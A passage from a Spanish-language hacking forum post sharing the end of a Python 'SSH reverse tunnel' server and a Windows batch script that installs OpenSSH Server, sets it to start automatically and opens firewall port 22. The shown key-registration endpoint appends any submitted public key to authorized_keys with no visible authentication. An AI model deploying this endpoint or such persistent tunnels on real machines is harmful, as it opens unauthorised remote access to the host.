    if not public_key.strip().startswith("ssh-ed25519"):
        raise HTTPException(400, "Only Ed25519 keys supported")

    home = Path.home()
    ssh_dir = home / ".ssh"
    ssh_dir.mkdir(mode=0o700, exist_ok=True)
    auth_file = ssh_dir / "authorized_keys"
    auth_file.touch(mode=0o600, exist_ok=True)

    if public_key.strip() not in auth_file.read_text():
        with auth_file.open("a") as f:
            f.write(public_key.strip() + "\n")
        logger.info("New public key registered")

    return {"status": "success"}


@app.websocket("/tunnel")
async def tunnel_endpoint(websocket: WebSocket):
    tunnel_id = str(uuid.uuid4())[:8]
    await websocket.accept()
    await bridge_websocket_to_ssh(websocket, tunnel_id)


if __name__ == "__main__":
    port = int(os.getenv("PORT", 8000))
    host = os.getenv("HOST", "0.0.0.0")

    logger.info("=" * 70)
    logger.info("SSH Reverse Tunnel Server STARTED (Auto Session)")
    logger.info(f"Listening on → http://{host}:{port}")
    logger.info(f"WSS Tunnel   → ws://{host}:{port}/tunnel")
    logger.info(f"Register Key → http://{host}:{port}/api/register-key")
    logger.info(f"Reverse Port → {REVERSE_PORT}")
    logger.info(f"Status       → http://{host}:{port}/status")
    logger.info("=" * 70)

    uvicorn.run(
        "SshReverseTunnel_Server:app",
        host=host,
        port=port,
        log_level="info"
    )


Aaah sí, es necesario pre-instalar OpenSSH Server en nuestro equipo para poder arrancar el servidor. Os dejo un .bat que se encarga justamente de eso mismo!

setup_sshd.bat

Código:
@echo off
echo ==========================================
echo   OPENSSH SERVER SETUP (WINDOWS)
echo ==========================================
echo.

:: Check for admin privileges
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo [ERROR] You must run this script as Administrator.
    pause
    exit /b
)

echo [1/5] Checking OpenSSH Server installation...
powershell -Command "Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*'"

echo.
echo [2/5] Installing OpenSSH Server (if not installed)...
powershell -Command "Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0"

echo.
echo [3/5] Starting sshd service...
powershell -Command "Start-Service sshd"

echo.
echo [4/5] Setting sshd service to start automatically...
powershell -Command "Set-Service -Name sshd -StartupType Automatic"

echo.
echo [5/5] Configuring firewall rule...
powershell -Command ^
"if (-not (Get-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -ErrorAction SilentlyContinue)) { ^
    New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' ^
    -DisplayName 'OpenSSH Server (sshd)' ^
    -Enabled True ^
    -Direction Inbound ^
    -Protocol TCP ^
    -Action Allow ^
    -LocalPort 22 ^
}"

echo.
echo ==========================================
echo   VERIFICATION
echo ==========================================
powershell -Command "Test-NetConnection 127.0.0.1 -Port 22"

echo.
echo If you see 'TcpTestSucceeded : True', everything is working.
echo.

pause
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Reverse Shell
Programación Visual Basic
cobein 9 6,047 Último mensaje 15 Septiembre 2010, 18:45 pm
por VanHan
[!] Reverse shell Unix-like
Bugs y Exploits
xv0 6 6,793 Último mensaje 15 Enero 2013, 16:36 pm
por Falso Positivo
python reverse shell
Scripting
Sentex 6 3,978 Último mensaje 27 Septiembre 2017, 17:31 pm
por Sentex
http, tcp reverse shell
Hacking
juliomob 5 6,361 Último mensaje 6 Noviembre 2020, 14:27 pm
por BloodSharp
Reverse shell a ip publica
Hacking
Panic0 3 4,750 Último mensaje 23 Febrero 2022, 13:55 pm
por Panic0
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines